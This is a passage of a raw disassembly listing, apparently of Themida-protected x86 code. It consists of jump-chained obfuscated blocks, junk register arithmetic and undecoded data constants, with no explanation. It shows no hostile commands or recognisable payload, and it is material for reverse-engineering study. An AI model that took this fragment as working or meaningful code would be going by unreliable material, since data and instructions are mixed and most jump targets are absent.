		mov	eax, edi
		jmp	loc_59CEC8
; ---------------------------------------------------------------------------


loc_59333E:				; CODE XREF: Themida_:00592D92j
		push	ebx
		push	ecx
		push	ebx
		mov	ebx, 190E69FCh
		jmp	loc_59BC3E
; ---------------------------------------------------------------------------


loc_59334B:				; CODE XREF: Themida_:0059B32Bj
		add	[esp+8], ecx
		pop	ecx
		jmp	loc_5A46E1
; ---------------------------------------------------------------------------


loc_593355:				; CODE XREF: Themida_:0059AFDEj
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_599026
; ---------------------------------------------------------------------------
		dd 0C15EF529h, 0BE5602E5h, 5E454591h, 2909E9h, 0C6815E00h
		dd 4, 555F5457h, 4BDh, 21D1E900h
		db 1, 0
word_59338E	dw 0C8Bh		; DATA XREF: Themida_:00590A34o
		db '$h{#',0
		align 2
		dw 1489h
		dd 148B5424h, 4C48124h,	83000000h, 2C8904ECh, 4BD24h, 0BB530000h
		dd 53616604h, 0FFE9DA29h
		db 0DBh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5933BB:				; CODE XREF: Themida_:00597E18j
		push	ebx
		jmp	loc_592726
; ---------------------------------------------------------------------------
		db 5Ah,	51h, 89h
		dd 4C181E1h, 83000000h,	4FE904C1h
		db 0DAh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5933D3:				; CODE XREF: Themida_:0059B9EFj
		sub	esi, 17FD48EEh
		pop	edi
		pop	ecx
		jmp	loc_5A2B8E
; ---------------------------------------------------------------------------


loc_5933E0:				; CODE XREF: Themida_:00597005j
		add	al, 0C6h
		pop	ebx
		push	44C3h
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], eax
		mov	al, 0F5h
		dec	al
		xor	al, 0AEh
		add	al, 5Ah
		jmp	loc_59A9DF
; ---------------------------------------------------------------------------
		db 28h,	0F5h, 66h
		dd 8BEC885Ah, 0C481240Ch, 4, 3058E688h,	148B66F0h, 0EBC9E924h
		dd 0F7B0FFFFh, 0C0FED0F6h, 11D2EE9h, 9AE95600h,	1FFFFE5h
		dd 99BEE9D1h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_593436:				; CODE XREF: Themida_:00593FF3j
		add	ebp, 23BD8222h
		sub	ecx, 75E11DE6h
		jmp	loc_59A739
; ---------------------------------------------------------------------------
		db 1
		dd 148B59CBh, 5B545324h, 4959BA52h, 0F2816E35h,	48B016EEh
		dd 74F1CA81h, 0DDE9235Eh, 1Bh, 595C2CC8h, 48BC288h, 6CA6824h
		dd 1C890000h, 68E38924h, 679Dh,	0BF243C89h, 5DAC159Ch
		dd 7C5CC781h, 0EFD1318Eh, 46F0CF81h, 0C781548Fh, 2ABF2AA3h
		dd 799BF781h, 0FB01825Eh, 83243C8Bh, 0C38304C4h, 100AE904h
		db 1, 0
; ---------------------------------------------------------------------------


loc_5934B2:				; CODE XREF: Themida_:005A450Bj
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edx
		jmp	loc_5A1D62
; ---------------------------------------------------------------------------
		dw 0FD87h
		dd 0E905E5C1h, 5DEEh, 7A38EE81h, 0C6814E90h, 3F9568C9h
		dd 1138EE9h, 5FDEBD00h,	91E94327h
		db 84h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5934E3:				; CODE XREF: Themida_:005A2718j
		add	ebp, edx
		mov	edx, [esp]
		add	esp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		movzx	ecx, al
		push	6922h
		mov	[esp], eax
		mov	eax, esp
		push	ebx
		mov	ebx, 179C526Eh
		xor	ebx, 506B6C57h
		shr	ebx, 4
		add	ebx, 0FB808C21h
		add	eax, ebx
		pop	ebx
		jmp	loc_59DBD0
; ---------------------------------------------------------------------------
		db 55h
		dd 1081FE9h
		db 0
; ---------------------------------------------------------------------------


loc_593521:				; CODE XREF: Themida_:00597418j
		push	ebx
		mov	bh, 15h
		or	bh, 0C1h
		xor	bh, 11h
		and	bh, 0F4h
		xor	bh, 0BAh
		jmp	loc_5959EE
; ---------------------------------------------------------------------------
byte_593535	db 66h,	0F7h, 1Ch	; DATA XREF: Themida_:005908C0o
		dd 5CE99C24h
		db 0D5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59353F:				; CODE XREF: Themida_:005A3637j
		sub	cl, 58h
		sub	cl, bl
		add	cl, 58h
		jmp	loc_59746F
; ---------------------------------------------------------------------------
		dd 0FFD54AE9h, 2474FFFFh, 242C8B04h, 4C481h, 48F0000h
		dd 24248B24h, 4E55E9h, 243C3300h, 33243C31h, 895C243Ch
		dd 0E953240Ch, 9AA6h, 57A3EE81h, 0CFE961A2h
		db 67h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_593587:				; CODE XREF: Themida_:005A263Bj
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, esp
		jmp	loc_5A27DD
; ---------------------------------------------------------------------------
		dd 4C481h, 0F2800000h, 5AD000D5h, 0DD65E952h, 1489FFFFh
		dd 50BBBA24h, 4A4217CDh, 0AF49C281h, 0EB81E832h, 5157470Ch
		dd 0FFE9D301h, 59FFFFFCh, 8104C483h, 0DD3862EEh, 81D60156h
		dd 0DD3862C6h, 31C68156h, 8B691C17h, 0C4812414h, 4, 55EF001h
		dd 2, 31240433h, 4332404h, 16CBE924h
		db 1, 0
; ---------------------------------------------------------------------------


loc_59360A:				; CODE XREF: Themida_:0059B0D6j
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	7EBDh
		jmp	loc_5A122E
; ---------------------------------------------------------------------------


loc_593630:				; CODE XREF: Themida_:005A4643j
		and	ah, 0B1h
		jmp	loc_59C9A1
; ---------------------------------------------------------------------------
aIH5p		db '‰,$h5p',0
		align 10h
		dd 10A11E9h, 0BA525E00h, 2, 706CED81h, 66E900BCh, 4B000017h
		dd 82E9DA87h
		db 7Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59365F:				; CODE XREF: Themida_:005A0335j
		mov	edi, 15785AECh
		jmp	loc_5A0F83
; ---------------------------------------------------------------------------


loc_593669:				; CODE XREF: Themida_:005A06D4j
		mov	ebp, ebx
		push	ebp
		pop	ecx
		jmp	loc_595E4F
; ---------------------------------------------------------------------------
aXaS3		db 'X€Å:éË3',0
		align 4
aIsoh		db 'ëéOh',0
		align 2
		dw 0C181h
		dd 965CF58h, 0C8BCD31h,	0E1895124h, 4C181h, 0C1830000h
		dd 240C8704h, 3F092D5Ch, 0E80124A2h, 71D5B951h,	0C18356CBh
		dd 41E9D1FFh, 0E902E9C1h, 6027h
; ---------------------------------------------------------------------------


loc_5936B8:				; CODE XREF: Themida_:0059E3BBj
		add	ebp, edx
		mov	edx, [esp]
		jmp	loc_594FBA
; ---------------------------------------------------------------------------


loc_5936C2:				; CODE XREF: Themida_:00594B9Bj
		mov	esp, [esp]
		add	[esp], eax
		pushf
		jmp	loc_590A9B
; ---------------------------------------------------------------------------
		dw 405h
		dd 0E9000000h, 0C4D0h, 0D3E9C2FEh
		db 78h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5936DF:				; CODE XREF: Themida_:00594A65j
		pop	esp
		jmp	loc_59E6F7
; ---------------------------------------------------------------------------
		db 1, 0CAh, 0E9h
		dd 0A9D7h
; ---------------------------------------------------------------------------


loc_5936EC:				; CODE XREF: Themida_:0059634Ej
		sub	esp, 4
		mov	[esp], ebp
		push	ebx
		mov	ebx, 11E71C8Dh
		sub	ebx, 27863617h
		sub	ebx, 264977E9h
		neg	ebx
		xor	ebx, 533EE00Ch
		mov	ebp, ebx
		pop	ebx
		jmp	loc_59FF9C
; ---------------------------------------------------------------------------
		db 5Ah
		dd 0A7F3E9h
		db 0
; ---------------------------------------------------------------------------


loc_59371D:				; CODE XREF: Themida_:0059A62Fj
		and	ecx, 68026BC3h
		shl	ecx, 6
		dec	ecx
		add	ecx, 7E32C1Eh
		xor	ecx, 716B869Dh
		sub	edi, ecx
		pop	ecx
		add	edi, 79A5028Fh
		push	ebp
		mov	ebp, 623B3435h
		add	ebp, 2179425Ch
		add	ebp, 9C459C85h
		sub	edi, ebp
		jmp	loc_5A1BC3
; ---------------------------------------------------------------------------
		dd offset dword_4E6EDC+0B88Ch
		align 2
		dw 2489h
		dd 4BF5724h, 1000000h, 5F04247Ch, 8E72E959h, 74FF0000h
		dd 8F5B0424h, 665C2404h, 6610D368h, 0E9243489h,	8D06h
		dd 5B5A532Ch, 0B252E828h, 2EC8313h, 24048966h, 0C22837B0h
		dd 0D0285866h, 240C8B5Ah, 230C68h, 39CAE900h, 0C4830000h
		dd 3AE26804h, 3C890000h, 2D51E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5937BA:				; CODE XREF: Themida_:005A417Dj
		xchg	edx, [esp]
		mov	esp, [esp]
		add	ebp, 4
		push	eax
		mov	eax, 4
		add	ebp, 633847FAh
		push	esi
		mov	esi, 0E520DFEh
		add	ebp, 19596077h
		sub	ebp, esi
		sub	ebp, 19596077h
		pop	esi
		sub	ebp, eax
		push	edi
		mov	edi, 0E520DFEh
		jmp	loc_598327
; ---------------------------------------------------------------------------
aLQsu		db 'µl',8,'ïéîÙ',0
		dd 5BF80000h, 8904EC83h, 0E9542414h, 0AD6Bh
; ---------------------------------------------------------------------------


loc_59380C:				; CODE XREF: Themida_:00599E91j
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_590A9B
; ---------------------------------------------------------------------------
		dw 433h
		dd 24043124h, 5C240433h, 0FFF186E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_593825:				; CODE XREF: Themida_:0059B105j
		xchg	ebp, [esp]
		pop	esp
		and	eax, edx
		jmp	loc_5987EE
; ---------------------------------------------------------------------------
		dd 4EC815Eh, 89000000h,	0A3BE2434h, 515B4D5Dh, 5930F3B9h
		dd 8BCE3126h, 0C483240Ch, 0F329E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_593852:				; CODE XREF: Themida_:0059C3B4j
		pop	esp
		xor	esi, eax
		jmp	loc_59E953
; ---------------------------------------------------------------------------


loc_59385A:				; CODE XREF: Themida_:0059705Fj
		add	esp, 4
		push	ebp
		jmp	loc_59D4A6
; ---------------------------------------------------------------------------
aZs		db '!ÐZéê/',0
		dw 5500h
		dd 241D44BDh, 8E5C12Ch,	939FE9h, 0BD5500h, 5551785Ah, 9E95D52h
		dd 89000004h, 71E9240Ch, 810000B2h, 0FFC222F1h,	0F9C78137h
		dd 2912575Bh, 0F9EF81CFh, 5912575Bh, 243C8758h,	6624248Bh
		dd 0E9240489h, 0FFFFD1E7h, 21BFBB53h, 0FEE92D28h
		db 66h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5938BF:				; CODE XREF: Themida_:0059E305j
		mov	eax, 1
		mov	edi, eax
		pop	eax
		jmp	loc_5A17A3
; ---------------------------------------------------------------------------
		dd 6A1D0BBDh, 76F0BB0Eh, 6CE93A6Dh, 5EFFFFE0h, 6804C483h
		dd 6890h, 0B8E2E9h
		db 0
; ---------------------------------------------------------------------------


loc_5938E9:				; CODE XREF: Themida_:005A1FF1j
		mov	eax, 4
		add	ebx, eax
		jmp	loc_59D856
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
		dd 0E902EC83h, 8C97h, 0D5F7D5F7h, 6FE9DDF7h
		db 68h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59390B:				; CODE XREF: Themida_:005A0A12j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	edi, 4
		sub	edi, 2
		sub	esp, 4
		mov	[esp], edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], dx
		push	eax
		mov	al, 0D6h
		push	ecx
		jmp	loc_594384
; ---------------------------------------------------------------------------
		db 8Bh,	34h, 24h
		dd 1DC4E9h, 88E95D00h, 52000120h, 46B36857h, 0C15F1C28h
		dd 0EFC104EFh, 0F765E903h, 15A0000h, 0E904245Ch, 4C34h
		dd 36049FB9h, 0F7D1F75Ah, 814149D1h, 0B37A93C9h, 0F4BEE963h
		dd 0E9570000h, 521Ah
; ---------------------------------------------------------------------------


loc_593990:				; CODE XREF: Themida_:005A0EC6j
		inc	ebx
		add	ebx, 0DFE5F28Dh
		jmp	loc_592FCF
; ---------------------------------------------------------------------------
		dd 13E9CD01h, 0FF00005Ah, 505F2434h, 405E089h, 5000000h
		dd 4, 31240433h, 4332404h, 24248B24h, 4C781h, 89530000h
		dd 0E79DE9E3h
		db 2 dup(0FFh)
word_5939CE	dw 34FFh		; DATA XREF: Themida_:005909B8o
aSJ		db '$é',0Ah
		db 'J',0
		align 2
		dw 815Fh
		dd 0A91B9CF6h, 0C8E95678h, 890000F2h, 31BE2434h, 4E132E0Bh
		dd 741468h, 24048900h, 1B7CE9h
		db 0
; ---------------------------------------------------------------------------


loc_5939F9:				; CODE XREF: Themida_:005A06C5j
		add	edx, edi
		jmp	loc_5943C5
; ---------------------------------------------------------------------------


loc_593A00:				; CODE XREF: Themida_:0059438Bj
		xor	dl, al
		pop	eax
		sub	al, 9Bh
		sub	al, dl
		add	al, 9Bh
		pop	dx
		sub	al, bl
		jmp	loc_591FC5
; ---------------------------------------------------------------------------


loc_593A12:				; CODE XREF: Themida_:00592709j
		push	edx
		jmp	loc_594F52
; ---------------------------------------------------------------------------
		dd 875FF901h, 875C240Ch, 248B240Ch, 0BE98E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_593A2A:				; CODE XREF: Themida_:0059C26Cj
		add	ecx, edx
		pop	edx
		push	eax
		mov	eax, 4
		add	ecx, eax
		jmp	loc_5A4402
; ---------------------------------------------------------------------------
		dw 0E589h
		dd 4C581h, 0C5830000h, 75CFE904h, 814B0000h, 0FE408EF3h
		dd 81DBF747h, 0B667ACF3h, 28AFE9B9h
		db 2 dup(0)
aMhs5		db '¬hs5',0             ; DATA XREF: Themida_:00590820o
		align 4
		dd 0E9240C89h, 51Eh, 0B7E95455h, 8100003Fh, 3C2B9CE7h
		dd 0E9D7F743h, 0D642h
; ---------------------------------------------------------------------------


loc_593A80:				; CODE XREF: Themida_:0059D176j
		xor	ebx, 2B617150h
		xor	ebx, 0BCD15D1h
		push	esi
		jmp	loc_5A0C62
; ---------------------------------------------------------------------------
		dw 0A25h
		dd 0C1603566h, 0D8F705E0h, 0B2273405h, 58C6013Ch, 676AE9h
		dd 0EB805A00h, 0E9CB00EAh, 628Eh
dword_593AB4	dd 582434FFh, 8904EC83h, 97682404h, 0E9000032h,	0C96Dh
					; DATA XREF: Themida_:005908E0o
dword_593AC8	dd 0E92434FFh, 10F7Eh; ---------------------------------------------------------------------------


loc_593AD0:				; CODE XREF: Themida_:0059BBC9j
		mov	edx, 18C33B25h
		add	edx, eax
		pop	eax
		jmp	loc_5918B0
; ---------------------------------------------------------------------------
		db 8Bh,	2Ch, 24h
		dd 4C481h, 62680000h, 89000024h, 57552434h, 4607D3BFh
		dd 5FFD8929h, 11FD8E9h,	7C08BF00h, 0C7810B33h, 0F4CC83FCh
		dd 0A20FE9h, 0F3215A00h, 68D3F75Eh, 2043h, 0B9240C89h
		dd 20733308h, 8159CB21h, 7132FEEBh, 5BDF8920h, 5E10E9h
		db 0
byte_593B31	db 66h,	8Bh, 4		; DATA XREF: Themida_:005908A8o
		dd 60FE924h, 2BA0000h, 51000000h, 0D56988B9h, 2037E97Bh
		dd 41BA0000h, 0C14DA541h, 0F74A06E2h, 41E281DAh, 813A812Fh
		dd 812F3DEAh, 5AD70112h, 8704EF83h, 0E95C243Ch,	0FFFFD360h
; ---------------------------------------------------------------------------


loc_593B70:				; CODE XREF: Themida_:005986E3j
		add	edx, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		push	esi
		mov	esi, esp
		sub	esp, 4
		jmp	loc_59DAB4
; ---------------------------------------------------------------------------
		dd 2438CBAh, 81D2F75Dh,	8020CE2h, 596EE94Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_593B9A:				; CODE XREF: Themida_:005A37A0j
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		mov	[esp], edi
		jmp	loc_59CFD4
; ---------------------------------------------------------------------------
aB_qzsR		db 'Ã).qZé,à',0
		align 4
		dd 8F04C483h, 248B2404h, 3CD36624h, 0D4E99C24h,	8BFFFFCEh
		dd 0C481243Ch, 4, 0FFE6CDE9h, 405FFh, 4050000h,	0E9000000h
		dd 23CFh, 8324148Bh, 9EE904C4h
		db 0Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_593BEF:				; CODE XREF: Themida_:0059EACAj
		add	ebx, 28810E27h
		pop	esi
		jmp	loc_596826
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 4966E900h
		db 2 dup(0)
word_593C06	dw 52ACh		; DATA XREF: Themida_:00590910o
		dd 0C280E0B2h, 0F6CAFEDCh, 18EFE9D2h, 4050000h,	33000000h
		dd 4312404h, 24043324h,	50E0E9h, 0D9C38100h, 11AA66Eh
		dd 34FF5BDEh, 2434FF24h, 8124048Bh, 4C4h, 4C48300h, 8104C483h
		dd 4EEh, 0D2A0E900h
		db 2 dup(0)
word_593C52	dw 1CF7h		; DATA XREF: Themida_:005909BCo
		dd 40E99C24h, 5FFFFCEh,	4, 405h, 201FE900h, 0EE000000h
		dd 668FC680h, 7DB05051h, 114AFE9h, 0E2285C00h, 0B7C9E9h
		db 0
; ---------------------------------------------------------------------------


loc_593C81:				; CODE XREF: Themida_:0059F3E6j
		pop	edx
		push	0
		sub	[esp], esi
		pop	esi
		jmp	loc_5931B9
; ---------------------------------------------------------------------------
		dd 0E9D2F75Ah, 0EFD6h, 5BDE015Ah, 4FF668h, 242C8900h, 4BDh
		dd 31C68100h, 122F14Fh,	5CBB53EEh, 810A193Eh, 2405F5E3h
		dd 8666E961h, 59540000h, 481168h, 0D27BE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_593CCE:				; CODE XREF: Themida_:00595EEDj
		add	ecx, ebx
		sub	ecx, 7B0B5B7Ch
		pop	ebx
		and	eax, ecx
		jmp	loc_59302D
; ---------------------------------------------------------------------------


loc_593CDE:				; CODE XREF: Themida_:00591A0Ej
		xor	[esp+4], ebp
		pop	ebp
		pop	eax
		push	ecx
		mov	ecx, 31D03121h
		xor	eax, ecx
		jmp	loc_5A18FE
; ---------------------------------------------------------------------------
		db 87h,	2Ch, 24h
		dd 5224248Bh, 8F340ABAh, 0EF2814Dh, 14D8F34h, 0C3815AD3h
		dd 4, 31241C33h, 1C33241Ch, 0F20AE924h,	4B80000h, 81000000h
		dd 685479C6h, 81C60161h, 685479EEh, 19B7E961h, 68570000h
		dd 13686612h, 0CF815Fh,	0F770DB7Ah, 1551E9DFh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_593D46:				; CODE XREF: Themida_:005962E6j
		mov	ebx, [esp]
		add	esp, 4
		sub	ecx, 4
		jmp	loc_596455
; ---------------------------------------------------------------------------
		db 59h
		dd 525AD101h, 468h, 0D1015A00h,	240C875Ah, 5680E9h
		db 0
; ---------------------------------------------------------------------------


loc_593D6D:				; CODE XREF: Themida_:005992ABj
		shr	ebx, 1
		or	ebx, 57756C62h
		jmp	loc_59E987
; ---------------------------------------------------------------------------
		dw 0E5C0h
		dd 0FFED8006h, 4EC81h, 4890000h, 30E5B024h, 0C58058C5h
		dd 4EC833Dh, 0B3241C89h, 2F66E9DCh, 0F6810000h,	2892A7Dh
		dd 2CE7F681h, 0F301204Ah, 5E2434FFh, 0FFE1CCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_593DB5:				; CODE XREF: Themida_:0059D23Ej
		push	5393h
		mov	[esp], eax
		jmp	loc_595C62
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 4, 4C381h, 9AE90000h
		db 15h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_593DD3:				; CODE XREF: Themida_:005976A8j
		mov	[esp], ebx
		mov	ebx, 0
		push	ecx
		mov	ecx, 3E597F84h
		add	ebx, ecx
		pop	ecx
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 1DE553DDh
		shl	eax, 4
		and	eax, 171D7720h
		sub	eax, 3DD87140h
		push	edx
		mov	edx, 1
		sub	eax, edx
		pop	edx
		jmp	loc_5984A3
; ---------------------------------------------------------------------------


loc_593E0D:				; CODE XREF: Themida_:00591E93j
		inc	edi
		xor	edi, 54DD345Fh
		jmp	loc_5A3720
; ---------------------------------------------------------------------------
		db 55h,	51h, 0E9h
		dd 0FFFFF426h
; ---------------------------------------------------------------------------


loc_593E20:				; CODE XREF: Themida_:0059DF0Bj
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		mul	cl
		movzx	cx, ah
		push	eax
		push	1099h
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		mov	eax, [esp]
		add	esp, 4
		push	4C3Fh
		mov	[esp], ecx
		push	edi
		mov	edi, 294A6029h
		add	edi, 4B390908h
		shr	edi, 2
		dec	edi
		not	edi
		add	edi, 0FFFFFFFFh
		not	edi
		sub	edi, 1D20DA48h
		mov	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		add	eax, ecx
		mov	ecx, [esp]
		push	edx
		jmp	loc_5A2A99
; ---------------------------------------------------------------------------
byte_593E7F	db 66h			; DATA XREF: Themida_:00590984o
		dd 5624048Bh, 3EBE9h, 24148B00h, 4C481h, 9E680000h, 8900001Dh
		dd 0E0E9240Ch, 83000027h, 0C78104C4h, 328D7068h, 7588BE56h
		dd 0EF81331Eh, 254117C5h, 0C781F729h, 254117C5h, 9A80E95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_593EC2:				; CODE XREF: Themida_:0059B588j
		pop	edi
		pop	ebp
		add	edi, 0FFFFFFFFh
		dec	edi
		shr	edi, 3
		push	61ECh
		mov	[esp], esi
		mov	esi, 65C02704h
		xor	edi, esi
		pop	esi
		push	edx
		mov	edx, 5C742FF1h
		neg	edx
		sub	edx, 52E73D08h
		jmp	loc_598E95
; ---------------------------------------------------------------------------
		db 0B8h, 1Fh, 0Ch
		dd 0C12946D7h, 8DE98158h, 0E906CA07h, 0FFFFE56Dh, 9F35D0F7h
		dd 314242A4h, 0EA8158C5h, 1FAB7213h, 0C281EA29h, 1FAB7213h
		dd 7E75E9h
		db 0
; ---------------------------------------------------------------------------


loc_593F21:				; CODE XREF: Themida_:00591A36j
		mov	edx, esp
		push	edi
		push	ecx
		push	eax
		mov	eax, 21BE2E2Dh
		mov	ecx, eax
		jmp	loc_5A196D
; ---------------------------------------------------------------------------
		dw 6664h
		dd 60E90289h, 57FFFFCBh, 632907BFh, 0F781471Ch,	46BB6F93h
		dd 4697EF81h, 0FB015AD8h, 94E9535Fh
		db 21h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_593F57:				; CODE XREF: Themida_:00596012j
		shr	eax, 6
		jmp	loc_59DC94
; ---------------------------------------------------------------------------
		db 66h
		dd 50243C8Bh, 405E089h,	83000000h, 48702C0h, 4846E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_593F76:				; CODE XREF: Themida_:005A43A3j
		add	esp, 4
		mov	edi, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, esp
		jmp	loc_5A494F
; ---------------------------------------------------------------------------
		dw 5954h
		dd 4C181h, 0E9810000h, 4, 8B240C87h, 14892424h,	0AF686624h
		dd 0C896665h, 562D6824h, 1C890000h, 0B1F6B724h,	5BF930CEh
		dd 5966CE88h, 34FFF000h, 1404E924h
		db 1, 0
; ---------------------------------------------------------------------------


loc_593FC6:				; CODE XREF: Themida_:005A48FBj
		mov	[esp], eax
		mov	al, dl
		push	ecx
		mov	cl, al
		mov	[ebx], cl
		pop	ecx
		pop	eax
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_590A9B
; ---------------------------------------------------------------------------


loc_593FDD:				; CODE XREF: Themida_:0059C29Fj
		add	ecx, edi
		add	ecx, 3EB10208h
		push	ebp
		mov	ebp, 495F0BA4h
		neg	ebp
		sub	ebp, 74EB5485h
		jmp	loc_593436
; ---------------------------------------------------------------------------
		dd 0C281E289h, 4, 4EA81h, 14870000h, 0C4E95C24h
		db 0, 1, 0
; ---------------------------------------------------------------------------


loc_59400F:				; CODE XREF: Themida_:005A0A05j
		neg	eax
		jmp	loc_595D98
; ---------------------------------------------------------------------------


loc_594016:				; CODE XREF: Themida_:005A21BCj
		mov	[esp], ecx
		push	38AA57EFh
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	edi
		mov	edi, 62F4871h
		or	ecx, edi
		pop	edi
		add	ecx, 28020828h
		mov	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		mov	dword ptr [edx+38h], 66B16827h
		push	ebx
		push	5BF9h
		mov	[esp], esi
		mov	esi, 74476A06h
		mov	ebx, 74476A3Eh
		sub	ebx, 28810E27h
		jmp	loc_59EAC8
; ---------------------------------------------------------------------------


loc_594067:				; CODE XREF: Themida_:0059910Cj
		xchg	eax, esi
		dec	esi
		dec	esi
		shr	esi, 5
		push	ecx
		jmp	loc_59614A
; ---------------------------------------------------------------------------


loc_594073:				; CODE XREF: Themida_:0059B59Cj
		pop	eax
		sub	esp, 4
		mov	[esp], eax
		push	ebp
		jmp	loc_597E5C
; ---------------------------------------------------------------------------
		dd 243C3166h, 243C3366h, 243C3166h, 0FFD1AEE9h,	4C481FFh
		dd 81000000h, 444408C6h, 243C8B03h, 4C481h, 0EC830000h
		dd 24048904h, 4EEBA52h,	0EA813275h, 327504ECh, 0E377E9h
		db 0
; ---------------------------------------------------------------------------


loc_5940BD:				; CODE XREF: Themida_:0059DEDCj
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		or	edx, eax
		shl	edx, 1
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		push	464Bh
		jmp	loc_594D5D
; ---------------------------------------------------------------------------


loc_5940E0:				; CODE XREF: Themida_:005931F9j
		pop	esp
		pop	dword ptr [esp]
		push	2EC7h
		mov	[esp], edx
		xchg	ebx, [esp]
		not	ebx
		push	ebx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	ebx
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_59EE4C
; ---------------------------------------------------------------------------
		dw 42Dh
		dd 0E9000000h, 4177h, 1CD1EB81h, 0C38100FEh, 766F3199h
		dd 6C88C381h, 875D3F07h, 248B241Ch, 24348724h, 24D3665Ch
		dd 5CE99C24h
		db 0C9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59413F:				; CODE XREF: Themida_:005A2853j
		mov	ebp, 73051BB1h
		jmp	loc_59794A
; ---------------------------------------------------------------------------
		db 57h,	54h, 5Fh
		dd 0E9555352h, 0FFFFF778h
; ---------------------------------------------------------------------------


loc_594154:				; CODE XREF: Themida_:0059D46Aj
		add	esp, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		imul	ecx
		push	10D6h
		jmp	loc_591BA9
; ---------------------------------------------------------------------------
		dd 415E959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_594172:				; CODE XREF: Themida_:0059A5C4j
		mov	eax, 1
		mov	edx, eax
		push	dword ptr [esp]
		mov	eax, [esp]
		push	4EDBh
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_597660
; ---------------------------------------------------------------------------


loc_59419A:				; CODE XREF: Themida_:005A569Bj
		xor	esi, [esp]
		jmp	loc_59EC9F
; ---------------------------------------------------------------------------
		dw 0C6FEh
		dd 80C1CE80h, 0F388BFC6h, 0D2C3805Ah, 835BF380h, 0C8904ECh
		dd 13E95024h
		db 0C2h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5941BF:				; CODE XREF: Themida_:005990A3j
		xor	ebx, [esp]
		pop	esp
		mov	edi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		push	2B542C9Bh
		jmp	loc_59C06D
; ---------------------------------------------------------------------------


loc_5941DC:				; CODE XREF: Themida_:00597758j
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5A378B
; ---------------------------------------------------------------------------
		dd 8B240487h, 8C052424h, 6858CC19h, 21D4h, 68243489h, 200h
		dd 0E89BE9h, 6ED12500h,	63354A07h, 5115F32Ah, 927F87B9h
		dd 0F1814149h, 3E7E17D0h, 57C18149h, 506B556Dh,	0BF0534B8h
		dd 58C13128h, 8251E981h, 0CA29AC16h, 0E9C22959h, 0AC5Ah
		dd 6A5EEF81h, 685E334Ah, 4BD8h,	0BB241C89h, 32845664h
		dd 0E9D3F74Bh, 6B0Eh
; ---------------------------------------------------------------------------


loc_594260:				; CODE XREF: Themida_:00592FCAj
		pop	esp
		add	ecx, edx
		push	esi
		mov	esi, 35FE0D47h
		or	esi, 32549Bh
		jmp	loc_59FDA1
; ---------------------------------------------------------------------------
		dd 0EC815E54h, 4, 0E9243C89h, 0FFFFF879h, 8704EE83h, 895C2434h
		dd 0E8E92434h, 10000BCh, 0ABC581F5h, 8B4F1812h,	0C4832434h
		dd 242C8704h, 6624248Bh, 68240C8Bh, 37Fh, 68243C89h, 2615h
		dd 68242489h, 5B3Eh, 0B8240489h, 4, 4244481h, 19B25850h
		dd 0CD68h, 5B36E900h, 0A1680000h, 8900003Bh, 7E9240Ch
